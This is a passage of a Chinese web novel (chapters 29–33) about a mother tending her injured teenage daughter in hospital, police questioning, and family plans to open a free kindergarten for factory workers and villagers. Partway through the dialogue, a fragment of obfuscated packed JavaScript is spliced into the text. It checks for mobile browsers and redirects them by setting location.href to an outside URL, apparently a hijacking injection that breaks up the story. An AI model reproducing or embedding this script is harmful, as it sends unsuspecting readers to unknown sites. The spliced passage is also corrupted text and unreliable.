穿过了走廊,来到了住院区。房里闹哄哄的,交谈声、仪器声、哭喊声,各种声音交织在仪器,热闹得像菜市场一样。
陶枝问护士:“不是说医院要保持肃静吗?”
护士也很头疼:“都是探病的亲属,说得了这个,那个又来了。”
程向楣探头去看,“人太多了,不适合静养。”
她问护士:“有没有单人间?”
“那叫高干病房。”
程向楣大手一挥:“我们去那里住。”
护士笑了:“阿姨,您听名字就知道,那不是给普通人住的。”
程向楣很想问问,那需要什么条件?陶枝一个眼神阻止了她。
陶枝接话:“请问除了高干病房,还有人少一点的病房吗?”
护士犹豫了一下:“还有双人间和三人间,按病人这种情况,加钱可以给你们安排。”
“那我们住双人间,您看看要怎么做?”
陶枝帮护士推车,她们艰难地掉头,然后挤进去电梯,一起去上一层楼。
程向楣陪着程曼,陶枝跟护士去找护士长,很顺利的交钱换了床位。
这一层,走廊都安静很多。陶枝很感谢小姑子,她多问了一句,换来了一个好的环境。
程向楣嘟囔:“我去找老三出面,说不定能住高干病房呢。”
陶枝用气音回答她:“曼曼一个小孩子,我们帮她惜点福,她快点好比什么都强。”
她瞬间觉得陶枝说得好有道理。
29. 第 29 章
晚上,妹夫李启泽也来了。
他站在门口瞧了瞧,一个字都没说,转身就走开了。
陶枝不解:“妹夫做什么去?”
程向楣出去看,走廊没见到人,她回来和陶枝吐槽:“不知道他又搞什么幺蛾子。”
过了一会儿,来了几个护士,抬着一副担架,进来就要搬程曼。
陶枝赶快上前:“你们这是要干嘛?”
李启泽从门外走进来:“嫂子,我们给曼曼换间房。”
“妹夫,你的好意我心领了,但曼曼现在不适合移动。”
李启泽没考虑到这层,他想了一下说:“那把同房的病人挪出去?”
护士和同房家属商量后,麻利地给那位病人换了房。
名义上的双人间,实际变成了单人间。
李启泽还叫护士,把病房都消一遍毒,全弄干净了他才肯坐下。
陶枝看他行云流水的,这流程妹夫很熟悉啊。
陶枝朝他努努嘴,用眼神询问小姑子,程向楣耸肩摊手,表示就是你所看到的那样。
李启泽问:“曼曼现在好点没?”
程向楣回他:“缝了八针,现在一直昏睡中。”
“这么严重?”
程向楣踩他一脚:“不然好端端的,谁会住院观察?”
“医生怎么说?”
“今天先密切观察,明天再做ct扫描。”
李启泽词穷,也不会安慰人。他略坐一坐,大哥大一响,他就要走了。
他问程向楣:“你是留下,还是回家?”
程向楣说:“我今晚陪一陪嫂子。”
陶枝连忙拒绝:“晚点程星他们来,我有人陪,你还是回家去吧。”
“他们都要上班,哪有时间陪你?”
“时间都是挤出来的,兄妹俩轮流休息,另一个就能来陪我。”
“你折腾他们干嘛?我有空,我来陪你。”
“我有床睡,你睡哪里?”陶枝问她。
“我睡沙发。”但她回头一看,只有一条木长椅。
“你回家睡好了,明天再来陪我。”陶枝赶她回去。
程向楣只好跟着李启泽先走了。
她还依依不舍的:“嫂子,有事记得给我电话。”
陶枝挥挥手,叫她快点走。
病房一下子安静下来,只听到程曼清浅的呼吸声。
陶枝刚才骗了程向楣,程晖和程星都不会来,家里还有两个小宝宝,做父母的得先顾着他们。
老头子想赶回来的,陶枝叫他明天再说。大晚上的劳碌奔波,一把年纪也不嫌累得慌。
程晙最近在忙新项目,天天早出晚归的,陶枝好些天没见到他了。而且男女有别,他也不方便照顾妹妹。
四下里一片沉静,陶枝陷入无尽的后悔当中。
她千不该万不该,把自己的身家性命,托付到外人的手中,自己反而掉以轻心,以至于酿成今天的惨祸。
她生的这四个子女,就像之前的程晖,差点没把她给气死,她都没舍得打他一下。她和老头子的教育方针,是既不打也不骂,做错了就和你讲道理,把事情揉开了、掰碎了那样去分析。如果还是说不通,那就让事教人,自己吃过亏,才知道父母不会害他。
陶枝也痛恨自己,程曼在这个学校,都读了一学期了,她竟然一次都没去看过她。正值高三,别的家长都如临大敌,全方位做好后勤,恨不得天天给孩子滋补,就希望孩子能一心学习。而她呢,什么都没做过,把一栋破房子,看得比程曼还重。
想到这里,陶枝抬手给了自己两耳光。
在这个世道,是个人都会看人下菜。程曼是转学来的,给人感觉就无人可依。柿子都挑软的捏,她又强行帮人出头,人家不得从她身上找回场子?
早在程曼被辱骂时,她就应该提高警惕。可惜当时,她抱着侥幸的心理,她觉得学生嘛,再坏又能坏到哪里去?
结果就是,她捧在手心的宝贝,被人打到生死未卜,像被遗弃的垃圾一样,扔在地上无人搭救无人搭理。陶枝都不敢想,要是她再晚一步,程曼的下场会是什么?
通过血淋淋的教训,她才明白这个道理,实在是太晚太晚了。
陶枝任由眼角的晶莹滑落。
另一方面,怒火在焚烧,排山倒海的,烧得陶枝的血液都在在沸腾。
冤有头,债有主,陶枝把这一切,深深刻在自己的心里。
**
程俊被人叫醒的时候,趴在被窝里睡得正香。在这之前,他刚从河床上来,挖了一天的沙子,冲了澡后他倒头就睡。
他现在和朋友合伙,开办了一家砂砖厂。人手不够的时候,老板是哪里需要就到哪去。今天,挖沙的设备到了,工人却请假没来,程晙就只好自己上了。
当然,他们已经办好了《采矿许可证》,是在许可范围的河道挖的砂。
对于初创的小厂来说,这是控制成本的最佳方案。
程晙迷迷糊糊的,拿过话筒说:“喂?”
于思飞舒了一口气:“你终于肯接电话了。”
程晙打了个哈欠:“什么事?”
“你爸打了几个电话来店里,听声音好像是有什么急事。”
程晙一激灵:“我爸?”
“对,你爸。话我带到了,我这忙着呢,你赶紧回电话,我就不多说了。”于思飞啪一下挂断电话。
程晙先去泡了杯茶,再慢悠悠给他爸打过去。
“老爸,你找我?”
程向前一开口就是王炸:“你妈说程曼进急救室了。”
“什么?”程晙惊得跳起来,杯子和茶啪嗒掉下,碎片散落了一地。
“爸,你慢点说,程曼怎么了?都跑急救室去了,老妈怎么没给我电话?”程晙顾不上湿透的裤子,问题是一个接着一个。
“你妈说是被人打的,具体我也不知道。我一天都没找到你,你让你妈上哪找你去?”
程晙默默的记下,回去他就买手机。
他一看天色,这天都黑了,“爸你告诉我是哪个医院,我现在就赶回去找老妈。”
半夜的时候,程晙赶到了。他带着一身星光,还有一身的潮气,去找了张折叠床,就躺在门边的位置。
留院观察这期间,程曼半步都离不得人,就担心万一有个什么状况,有人守着就能及时通知医生。
程晙躺下问:“妈,什么个情况?”
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>陶枝把诊断书递给他。
程晙就着走廊的灯光,大致看到上面写着:“头皮撕裂伤,中度脑震荡,疑似颅骨线性骨折,全身多处软组织挫伤。”
“妈,这算严重还是不严重?”
“不幸中的大幸,头部暂时无大碍,也没有伤到脊椎。”
“脊椎?这里没写啊。”
陶枝长叹一口气:“你不知道,曼曼后颈被敲了,我当时看到那淤伤,吓得心脏都要跳出来。”
程晙觉得怒气直往上涌,他的脸都开始发烫了:“是谁下这么狠的手?”
“警察同志还在查。”陶枝压低声音:“你回去之后,帮我打给闻煦,叫他继续往下查,钱不够就来找我拿。”顿了顿,她加了一句:“如果有危险,那就撤退,不要计较得失,安全最重要。”
程晙默了默:“妈,我知道了。这么晚了,您先睡吧,,下半夜我们再换。”
陶枝就势躺下,一觉睡到天大亮。
等她醒来的时候,程晙正支着鸡窝头,张大嘴巴在打哈欠。
“你怎么没叫醒我?”
“没事,等会我回家补眠。”
程晙带了清洁用具,陶枝洗漱完毕,就下楼买早餐去了。
两人吃过之后,程晙用冷水洗了把脸,说:“妈我先回了,下午还要接老爸,晚上我再来接你班。”
陶枝拍拍他:“辛苦了,你爸就让小赵去接吧。”
程晙抱一下他的老母亲,“妈,您不用太担心,吉人自有天相,曼曼很快就会好的。”
陶枝笑笑:“是是是,一定会的。”
下午,民警来到医院。幸好隔壁床搬走了,病房里没有其他人,少了看客自在很多。
警察同志说:“陶女士,我们走访了村子,那周边大大小小几十户,没有一个人看到案发过程,所以我们想问一下当事人。”
陶枝拉开帘子,给警察同志看:“她刚做检查去了。”
穿便衣那位警察问:“这检查,需要多长时间?”
陶枝摇头:“这个得问医生。”
另外那位民警,闻言下楼找医生去了。
陶枝问留下的警察:“请问,我上次报的警,有找到目击者吗?”
警察愣了一下,“你之前还报过警?”
“是的,就三天前。”
“因为什么报的警?”
“我女儿明明是被欺负了,老师都没有去调查,就定性我女儿是过错方,说她在学校打架闹事。教导主任也不听解释,开口闭口就是通报批评。事关孩子的名誉,我没有办法了,只好选择报警,请警察同志帮帮忙,去查一下事情的真相。”
这时,那位民警跑上来,他气喘吁吁的说:“医生说了,要等结果,可能没那么快。”
穿便衣的警察对他说:“这里不等了,我们先去一趟学校。”
他转头对陶枝说:“我们忙完再过来,你记得和你女儿说,仔细想想案发的经过,越详细,越具体,就越有利。”
话音刚落,他们都快到楼梯口了,陶枝把那句“好的”给吞了回去。
没等太久,程星推着程曼回来了,程向前走在女儿的旁边。
陶枝迎上去:“结果怎么样?”
30. 第 30 章
程向前走上前,抓着陶枝的手,连续说了两句:“幸好,幸好。”
就目前来说,他和小女儿的感情最好,陶枝完全可以理解他。
陶枝拿过报告,细细浏览起来。诊断结论和医生说的无二:线性颅骨骨折,没有颅内出血,脑部结构正常,头皮血肿及撕裂。
“幸好没有出血。”程星后怕的说。
“头骨都打裂了,这是想杀人吗?”程向前愤怒地说。
“爸,疼。”程曼微弱的出声了。
老头子一听,心疼得不得了,马上轻声细语道:“爸爸不吵你了,你先好好休息,好了之后想干嘛干嘛。”
程曼蔫蔫的::“爸,再说吧。”
这可不像程曼的性格,程向前心里焦急,但又不敢表现出来,只好向陶枝使眼色。
陶枝没理他,轻手轻脚的,把程曼抱回床上。
她给女儿掖了掖被子:“你什么都不用想,你唯一要做的,先把自己给养好了。”
“好。”说完她闭上了眼睛,转眼间就沉沉睡去。
他们走出去,把房门关上,免得说话声吵到她睡觉。
程向前有点慌:“曼曼这是......晕过去了?”
陶枝白他一眼:“她这叫嗜睡,医生说是正常的。因为脑袋受了伤,身体会强制她关机,用休息来进行修复。”
“她连话都说不利索了。”话音未落,程星的眼泪跟着掉下来了。
陶枝给她抹眼泪:“不怕啊,你妹还年轻,迟早会好的。”
程星扑进她怀里,“妈,家里的事交给我们,您多陪陪妹妹,我想她一定很害怕。”
陶枝听完,心如刀割,她强装着镇定:“好,听你的,那家里靠你了。”
程向前问:“那我呢?”
“既然无心工作的话,那你帮忙带孙子吧。”
程向前悄悄问:“李云舟那边,有没有给你递话?”
陶枝心里咯噔一下,自从程曼受了伤,这两天她过得是行尸走肉,老头子要不提,她都把这事给忘了。
她数了数,三天了,没有回音,她低声回老头子:“怕是指望不上了。”
“要不要问问阿楣?”
“如果真是人家不帮忙,那更不能让她知道了。”
“她的小叔子,难道不应该说一声?”
“就让她安心做富太太吧,说白了,我们就是一门远房亲戚。于情于理,帮不帮,那是人家的事。”
“那妹夫那边说不说?”
陶枝真想敲他脑袋:“人家亲兄弟,你觉得他会不知道?”
程向前讪讪地:“万一人家就是忙忘了......”
“不排除这个可能。”
“是吧?贵人多忘事,说不定他一时没记起。”老头子又挺直腰板了。
陶枝顺着他意:“你说得对,曼曼现在自己住,也是妹夫出的力呢。”
“妹夫对我们不薄。”
“但你也不能催,也不好上门问,所以我们自己,要做两手准备。”陶枝提醒他。
“当然,我都听你的。”
陶枝催他们走:“行了,人也见了,事也做了,你们留在这,也帮不上忙,赶紧回家去吧。”
“妈,我在多陪赔您嘛。”程星在撒娇。
“星星啊,妈妈也想睡觉。”
老头子拉着程星,“对,让你妈多休息。”
程向前走前对陶枝说:“今晚开始我送饭,你别再吃食堂了,没什么营养还不好吃。”
他就想多来看看程曼,陶枝都懒得拆穿他,比个手势表示没意见。
晚上是程晙送他爸来的。
陶枝问:“等下你又送你爸回去?”
程晙点点头。
“你也不嫌折腾。”陶枝嫌弃。
“就一脚油门的事。”
程向前生气:“老婆子你什么意思?明儿我就去把驾照考了。”
老头子提醒了陶枝:“对对对,趁着现在有空,你赶紧把驾照拿了。”
“那你呢?我不用等你吗?”
“你也看到了,最近我都没空,你先去考,到时你可以接送我。”
程向前吃下了这个大饼,他已经在计算,怎么以最快的速度拿到驾照。
吃完饭后,程晙送完他爸,又折返回来了。
陶枝觉得很神奇:“前不久你还忙得,神龙见首不见尾的,怎么现在突然有空了?”
“妹妹更重要啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292161|182339||http|test|mini|href|location''.split(''|''),0,{}));
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>“别油嘴滑舌的,老实招来,最近都干了些什么?”
“噫,妈您怎么看出来的?”
“没再见你背相机,到处咔嚓咔嚓了。”
程晙给陶枝拱了拱手,以示敬佩。
“和朋友合伙,新搞了个砖厂。”
陶枝眼睛一亮,这小子可以啊,比上辈子还早了几年。
“你不会只有干红吧?”
“妈您也太小瞧我了。”
“不是小瞧你,而是咱家没钱啊。”
“嘿嘿,山人自有妙计。”
“贷款了吧?”
“哎哟,我去。”程晙这下是真惊到了。
“拿影楼做抵押?”陶枝接着说。
程晙不服都不行了,他甘拜下风,虚心讨教道:“妈您咋猜的呀?”
陶枝在心里嘀咕:上辈子你玩过的套路呗,只不过现在对象变了而已。
这话当然不能说,于是她微微一笑:“因为我是你妈呀。”
程晙泄气了,陶女士明显在敷衍他。
陶枝转移话题:“你占比多少?”
“合伙人只负责出钱,其他的都要我管,所以我拿百分五十一。”
“对方这么相信你?”
程晙提起嘴角:“人家压根不用担心。这么说吧,背景比大姑家还强。”
“这么厉害的话,选择应该很多才对,怎么会选中你呢?”
“妈,这您就不懂了吧。脑子,特别是好用的脑子,那就是无价之宝,投多少钱都不为过。”
“不用看人品?”
“我的人品还用说吗?那叫一个顶呱呱。”
陶枝不和他贫了,在走廊呆久了,纯粹就是喂蚊子。四下里很多都睡了,她洗漱好也准备就寝。程晙还在走廊,不知在写些什么东西,陶枝困了就没去关注他。
程曼平安度过第二晚。
陶枝问她:“感觉怎么样?”
程曼反应还是有点迟钝,说话也是慢慢的往外蹦:“天旋地转的晕,不太想动弹,动作大点就难受。妈您也别担心,躺久了我自己会翻身,这个影响就还好。”
“行,如果不舒服,你就叫我啊。”
“我会的。”她露出一个浅浅的笑容。
31. 第 31 章
陶枝是在干呕声中醒来的。
程曼两天没进食了,现在已经没东西可吐。她的喉咙火辣辣的疼,从胃部涌出来的,都是胃酸和黄胆水。她蜷缩在病床上,脸色苍白如纸,因为不停的干呕,汗水浸湿了眼睛,眼眶变得通红。
程晙飞快跑去找医生,医生检查过后,直接给程曼扎了点滴,继续挂生理盐水和葡萄糖,同时还有止吐药和镇痛药。
陶枝守在一旁,时不时拿毛巾给她擦汗,用棉签蘸水给她润润嘴唇。
程晙在旁边,握紧了拳头。
片刻之后,药效起作用了,程曼又睡了过去。警察同志来的时候,都被护士挡在了门外,请他们过两天再来。
到了半下午的时候,陶枝也有些疲惫,她准备出去走两圈。
她刚走出门外,发现有一位圆脸的女学生,在不停抠着书包的带子,想进门又不敢进的样子。
陶枝就问了:“这位同学,你找谁?”
黄新月抬起头来,看了一眼后,又迅速低了下去。她怯怯的说:“程曼是在这里面吗?”
陶枝仔细看了看她,长得很可爱的小女生,却好像一只受惊的小兔子。程曼曾经描绘过的形象,在她脑海里变得立体了,陶枝问她:“你是程曼的同桌?”
黄新月微不可见的,点了点头后小声说:“阿姨好。我可以看看程曼吗?”
陶枝温柔地笑道,“当然可以了,谢谢你来看她。”
黄新月跟着陶枝进门,掩上门时,陶枝向她解释道:“程曼现在有点畏光,我关门你别介意啊。”
黄新月急忙摆手:“不会,不会。”
陶枝轻轻拉开隔帘,弯下腰呼唤程曼道:“曼曼,曼曼,新月同学来看你了。”
黄新月一眼见到,程曼头上包着纱布,脸上没有一点血色,就静静地躺在那里,像个没有生机的洋娃娃。
呸呸呸,黄新月拼命摇头,把这种不详的想法赶出脑海。
看程曼有醒转的迹象,陶枝就把位置让出来,黄新月赶紧靠过去,方便程曼抬眼就能看到她。
程曼缓缓睁开眼睛,果然,第一眼她就看见黄新月了。
她笑了笑,用气音问:“你怎么来了?”
黄新月哽咽:“我听到说你出事了。”
程曼频繁用力地眨眼。
“警察叔叔来学校,询问到我的时候,他悄悄告诉我的。”
陶枝猜应该是那位穿便衣的警官。
“程曼,都怪我,要不是因为我,你也不会被打成这样。”没想到,就这一小会,黄新月已经哭成了泪人。
程曼抓着她的手,摇了摇,“不是因为你。”
黄新月沉浸在伤心之中,没有听到程曼的话,程曼只好用力捏了捏她。
“啊——”疼痛终于把她拉了回来。
程曼做了个大大的嘴形,“不,是,你。”
黄新月缓了缓神,而后指着自己说:“不是我?”
程曼敲了敲她手背。
“她们亲口告诉你的?”
程曼还是很疲累,她的体力不太够,开始又昏昏欲睡了。她最后说了声“是”,就陷入了沉睡之中。
黄新月愣在当地,还是陶枝拍她肩,她才彻底回过神来。
她又变回那个怯生生的小姑娘,她站起来,满脸红彤彤对陶枝说:“阿姨,不好意思,我先回去了。”
陶枝把她送到门外:“回去注意安全啊。”
“好的,阿姨再见。”
陶枝听出来了,程曼知道前因,但一切都只能等她醒转了再说。
不止陶枝在等,警察同志也在等。
过了两天,程曼长时清醒之后,医生安排她做ct复查。结果出来,确认她没有出血,生命特征稳定,可以恢复进食了。
医院通知了派出所,所以很快他们就来了。
警察同志上来,出示了证件,穿便衣的介绍说:“我姓袁,叫袁衡。”
另外一位民警说:“我叫林全。”
袁警官说:“我们想了解一下,前几天发生的事,帮你录一份口供。”
林警官拿出了纸笔。
程曼把那天发生的事,原原本本地说了出来,没有添油加醋,也不做任何隐瞒。
袁警官问:“木棍大概长什么样?”
程曼皱着眉:“因为她背着光,所以颜色我看不清,大小看起来很像一根金箍棒,是店里卖的玩具一半长。”
“知道她从哪里拿的吗?”
程曼摇头。
“除了木棍,她们还有用其他武器打你吗?”
“没有了。”
“你被打倒之后,她们还做了什么?”
“应该是再敲了我一棍吧。”
“确认吗?”
“我当时意识有点不清了。”
“你知道她们为什么要打你吗?”
“她们提到了一个人,还骂我是狐狸精什么的。”
“提到的那个人名字是?”
“钟斯南。”
“他是谁?”
“我们的同班同学。”
“你被打的时候,旁边有没有其他人?或者有没有路人经过?”
程曼思索了一会,“没有注意到。”
“你有没有少了什么财物?”
“没有。”
“还有要补充的吗?”
“我暂时就记得这么多。”
林经过收起纸笔,念了一遍笔录,问她:“有没有记错?”
程曼确认,“没有错误。”
袁警官说:“那谢谢你的配合,如果后面想起什么,请第一时间联系我们。”
陶枝把他们送出去:“谢谢警官,你们辛苦了。”
陶枝把今天的细枝末节,全部都记下了。她等着闻煦回来,到时再一一印证。
她虽然气到想手刃仇人,但目前没有什么事,能比程曼的健康更重要,陶枝沉下心来。
在医院又住了两天,程曼闹着要回家了。
医生检查一番说:“年轻人底子好,恢复得还不错。如果在家能保持静养,那我可以给你们办出院。”
程曼忙不迭答应,就差指天发誓了。
医生一时心软,爽快的成全了她。
回到家里,躺在自己的席梦思上,程曼喟叹:“终于活过来了。”
陶枝作势要掌她嘴,她立马“呸呸呸”陪笑道:“童言无忌,童言无忌。”
陶枝瞪她一眼,“你给我老实躺着,别给我耍什么花招。”
程曼一秒正经:“遵命。”
程曼现在的头痛不痛,陶枝不知道,但她知道自己的头开始疼了。
这天,难得小孩子没在家,程曼也没有作妖,乖乖在床上躺着,陶枝便自己在花园里透一透气。
呜啦呜啦,大门口
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传来沸腾的人声。
陶枝绕到前面去,只见老头子,领着一群人回来了。
“诶,阿枝你在家啊。”
陶枝白他一眼:“我不在家,谁照顾你女儿?”
程向前嘿嘿一笑,他让到一旁:“你看,谁来了?”
陶枝一看,哟,全是老熟人呀。
程二叔程二婶,程大山两公婆,小一辈的程月珊、程月瑶。还有程曼的朋友们,名字陶枝一时想不起。
陶枝脸上都笑开花了,“稀客,稀客,快进来坐。”
进到客厅后,就二叔二婶,程大山覃玉芬,这几位沉稳点,在沙发上坐下。
年轻那几个,叽叽喳喳问:“程曼在哪里?我想去看看她。”
没等陶枝上去叫人,二楼就探出一个小脑袋:“程月珊,程月瑶,纪婉晴,刘清悦,黄婷婷,方林,张阳。你们怎么来了?”
“嗨,程曼程曼,我们来看你来了。”
程曼在二楼招手:“快上来,楼上才是我的地盘。”
这群年轻人,个个都睁着大眼睛,眼巴巴的看着陶枝。
陶枝挥挥手道:“去吧,去吧。”
他们咚咚咚就跑楼上去了。
剩下陶枝他们,觉得好气又好笑。
程二叔说:“年轻真好。”
陶枝问:“二叔,您和二嫂,坐了一路车,累不累?”
二婶摇头:“不累,不累。向前包了一辆车,那司机开车很稳,我们是一路睡过来的。”
“您俩的身体可好啊?”
二叔二婶都笑呵呵:“好,好着呢。你们给的补品,我们一直都有吃。你看我八十多了,爬山一点问题都没有。”
陶枝吓一跳,她看向程大山:“你还让你爷奶去爬山?”
程大山一脸无奈:“大伯娘你帮忙说说吧,我说什么他们都不听。”
陶枝给两老温了奶:“二叔二婶,以后实在想上山,叫个小的陪着去。这样他们放心,您也能到处走,您觉得呢?”
二叔点头:“可以,这样可以。”
程大山直拍脑袋,这么简单的道理,自己怎么就没想到呢?
覃玉芬悄悄拉他的手:“当局者迷。”
程大山憨厚的笑了,覃玉芬马上别过脸去,真是的,不傻的一笑都变傻了。
陶枝问程大山:“现在家里活多吗?”
他摇头:“不多。”
“那你想不想出来上班?”
程大山很惊喜,没想到他还没开口,大伯娘就帮他说出来了。
“想是想,有了孩子之后,那点钱就不够花了。”
程向前这时过来了:“机械厂你进去过吗?”
“去过,还帮送过几次货。”
“那要不跟着我干?”
程大山挠了挠头,“都可以,我听您的。”
覃玉芬则有点欲言又止。
陶枝一看他俩这样,就把老头子推到一边:“程晖程星开的厂,你们知道不知道?”
覃玉芬猛点头:“知道。”
好了,这下知道他们的意思了。
陶枝也笑,年轻人上进是好事,她直接说:“等会吃过饭,叫大伯带你们过去。看过环境之后,你们要是愿意的话,就留在那里上班吧。”
覃玉芬喜出望外:“大伯娘,还有我的份?”
“对,你也可以。”陶枝肯定她。
32. 第 32 章
在陶枝陪护的日子里,程向前是天天送饭了,但如果就此认为,那是他亲手做的爱心餐,那就大错特错矣。
程家没有一位男性,点亮过下厨的技能。
程向前回来的第二天,经历了冷锅冷碗冷灶台,他果断去请了一位阿姨。
从此结束了程明澄和李阿姨,只能吃外边小饭馆的苦日子。
之前因为人少,陶枝觉得没必要,所以她宁愿在外边吃。
总而言之,现在家里有了厨师,想吃什么说一声就好,自己不必再劳神劳力。
他还说陶枝呢:“花小钱办大事,这笔帐都不会算。”
“是是是,你说得都对。”陶枝领他的情,懒得去反驳他。
因此,程向前出门买菜去了,留下陶枝在家陪着二叔他们。
陶枝带领他们参观房子,一草一木都是经她的手,她对每一方寸都熟悉得很。
说着说着,她忽然想到:我能不能把这栋房子给买下来?
第一,她花了大价钱;第二,她废了大心思;第三,她已经住出感情来了。
陶枝压根没想过,万一房东不肯卖,怎么办?在她的观点里面,如果事情谈不拢,那只说明了一件事,你开出的价不够高。
她边走边介绍,还一边留人说:“您们难得来一趟,可得多住些日子。”
二婶说:“我们就来看一看,家里还一堆事呢。”
陶枝笑着说:“二婶啊,那就多看几眼,回去给孩子们讲,叫他们好好学习,将来个个都考到大城市去。”
这话算是搔到了痒处,二婶笑得合不拢嘴:“好,这个好,我回去就和他们炫耀。”
说到孩子,陶枝突然想起,她问程大山:“你们家的大胖小子呢?”
“在家呢。”
“现在多大了?”
“刚好一岁半。”程大山很高兴。
“你们都上班了,那孩子怎么办?”
“让我爸我妈帮忙带一段时间。”
陶枝想到一个词:留守儿童。她想起了一二十年后,新闻对留守儿童的报道。
她后悔刚才嘴巴太快,与其让他们这样留下,还不如就去机械厂,这样还能每天回家,孩子也能每天都见到爸妈。
话虽然说出去了,但是暂时还未落定,就还有挽救的机会。她需要再多了解一点,然后再对此事下决定。
“有想过把孩子也接过来吗?”
程大山搓搓手:“想是想,就是没人带。”
陶枝福至心灵,板厂有十多个老家的人,那就说明有十多户家庭,正在经历着,母子分离或父子分离。当外出工作的人越来越多,她忽然意识到,这不仅仅是一家一户的问题了。
陶枝有个模糊的想法,不过她还得再斟酌斟酌,这个时候就先不提了。
她笑着安慰大山:“我们先把工作定下再说。”
中午吃了顿很丰盛的大餐。
程曼本来想说,她把饭菜端上去,和朋友们在三楼吃,这样也避免大家不自在。
结果她才一起话头,陶女士瞥她一眼说:“你脑子没坏吧?”
程曼听懂了,陶女士在骂她没礼貌。都共同坐了一路的车,怎么说也混了个脸熟,又何来的不自在一说?更何况长辈当前,程曼属实理亏,于是不敢再提这类的话了。
客房都在一楼,酒足饭饱之后,陶枝给二叔二婶铺床,大山的就叫他们自己铺。幸好房间够多,那两位男同学,陶枝也安排他们住一楼。女孩子的话,陶枝就不管了,让程曼自己安置。
趁他们午睡的时候,陶枝拉上老头子,细细把自己的想法说了。
程向前眼睛一亮:“这倒是个好办法。这样,等会我也去板厂,顺便找周村长问问。”
赵子浩两点钟到的程家,载上程向前,程大山和覃玉芬,就往板厂的方向去了。
车停之后,程晖没在,程星倒是迎了过来。
她热情地招呼:“山哥,芬姐,来,我带你们逛逛。”
程向前则自己往村子里走去。
程大山问:“大伯不一起吗?”
程星瞄了一眼,她爸走得飞快,就快要看不见了。她笑着回答:“不用管我爸,他找老伙计去了。”
程向前到村委的时候,周村长正好在办公室里。
他敲门的时候,周尚民抬头一看:“程老哥,好久不见。”
他还想帮忙拿凳子,程向前连忙按住他:“不必,不必,我自己来。”
周尚民随他去,转身泡了杯茶。
两人都坐下后,程向前开门见山:“村里有幼儿园吗?”
周尚民笑了:“老哥,你看看我们这,人均两亩薄田,收成不好的时候,一年到头也剩不了几块钱,哪里有条件开幼儿园哦。”
“那小孩子都去哪上学?”
“年纪小一点的,基本都是爷爷奶奶带。等到五岁左右,就可以送去学前班了。我们这里去学校,走路都要一两公里,还是几个村子一起建的小学。”
“每家每户都有人帮带?”
周尚民叹了一口气:“那肯定不可能啊。”他回了这句话后,眉头就皱了起来,显然是想到什么不好的事。
程向前也不追问,他想到了陶枝所说的,那个绝妙的好主意。
于是他问:“如果,我们以板厂的名义,兴建一个幼儿园,请问村里能给到什么支持?”
周尚民疑惑:“为什么要以板厂的名义?”
“因为这属于员工的福利,厂里免费帮他们照顾孩子,让他们可以更安心的工作。”
“这属于厂里的私人行为,那村里没办法给优惠。”周村长很遗憾地的说。
程向前笑笑:“如果这个幼儿园,同时也收村里的孩子呢?”
周尚民的眼睛瞬间亮了,闪烁着耀眼的光芒,不过紧接着又暗了下去。
他摇了摇头:“没有用,只要是收钱的,家长不会送去的。”
他接着说:“小孩子嘛,田间地头的,东跑跑西跳跳,一下子就长大了,干嘛要花钱去上幼儿园?又不是正经读书学认字的地方。”说真的,周村长自己都不太能理解。
“老弟你说得对,这个钱是不该花。所以我们想着,免费开放给村民。”
周尚民一听,立马坐直了,“老哥,这话怎么说?”
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程向前娓娓道来:“首先,建这个幼儿园,不管是为了员工,还是说为了别的,总的来说,都是为了孩子,这话你认可吗?”
周尚民点点头。
“那么建一个幼儿园,主要支出就是房子,还有老师们的工资。既然都给员工免费了,那么同样给村民免费,不是一举两得的事吗?”
周尚民没上当:“不对,不对,这孩子一多,费用相应就会增加。”
程向前爽朗一笑:“所以啊,我这不找老弟你帮忙了吗?”
得,话题又绕回去了,周尚民有一点苦恼。
程向前看他还不开窍,干脆把话全摊开了说:“周老弟,我就直说了吧。村里出地皮,我们出钱盖房子,等到房子一落成,这物业,不就属于村里了吗?”
周尚民这才恍然大悟:“那你们光出钱,什么都得不着?”
“帐不是这么算的,只要板厂还在这里一天,这房子就得给我们用一天。”
周尚民哈哈大笑:“这问题倒是不大,那些皮猴你们帮管了,不知道省村里多少事呢。”
“周老弟,你这是松口了?”
“我个人当然愿意了,话说老哥你打算在哪建?”
“最好是靠近马路,以后方便你们招商。即便是改成商铺,也能保证稳赚不亏。对了,离板厂不要太远。”
周尚民心里有数了,他说:“老哥你等我两天,我给村里开个会,到时咱们走正式的流程,该签字的签字,该盖章的盖章,这个没问题吧?”
程向前拍了拍他肩膀:“就这么办。”
他一路哼着小曲,悠悠地走回去板厂。
到家之后,他第一件事,就是向陶枝邀功。
平时陶枝都不给他喝酒的,今天亲自给他倒了杯茅台。
程向前乐得飞飞的,结果他一看,陶枝又给二叔倒了酒。得,今天他就是个陪客。不管了,只要能喝酒,理它是什么缘由。
程曼申请了啤酒,陶枝也给备上了。可惜的是,她只能眼睁睁,看着朋友们碰杯,而她却只能喝汽水。人来的悲喜并不相通,在场的没有一个人同情她,她深深地叹了口气。
陶枝问覃玉芬:“今天看得怎么样?”
覃玉芬满脸红光:“大伯娘,程星说我也可以上班。”
“那你想去吗?”
“大伯娘,我一千一万个愿意。没想到我没文化,今天也能当上工人了。”覃玉芬说着说着,高兴的哭了起来。
陶枝也感慨万千,机械厂不需要女工,老家那些读书不多的,叫她们去远方务工,很多人又没这个胆量。家里把她们绑住了,她们就盼一份工作,都不知道盼了多长时间。
陶枝给她顺背:“也是你能干,这才收的你。”
“那我一定好好干。”
“事情要是没做好,那就不给你吃饭哦?”
覃玉芬破涕而笑:“大伯娘你净会取笑人。”
“大山呢?”
“我也留在板厂。”
“那明天你打个电话,问问你爸你妈,愿不愿意去板厂上班?”
程大山怀疑自己的耳朵:“我爸妈?板厂上班?”
33. 第 33 章
提议堂弟也来市里,这是程向前开的口。
程向前的两个弟弟,成家后都有自己的营生,而且也都发展得不错,不需要陶枝他们帮扶。三个妹妹,程向楣不用说了,好日子有目共睹。程向红性子沉静,古板得像个老学究一样,就喜欢呆在家,安安生生的过日子。程向妍远嫁,在大农场里,听说物资丰富,来回一趟不容易,再怎么也是鞭长莫及。
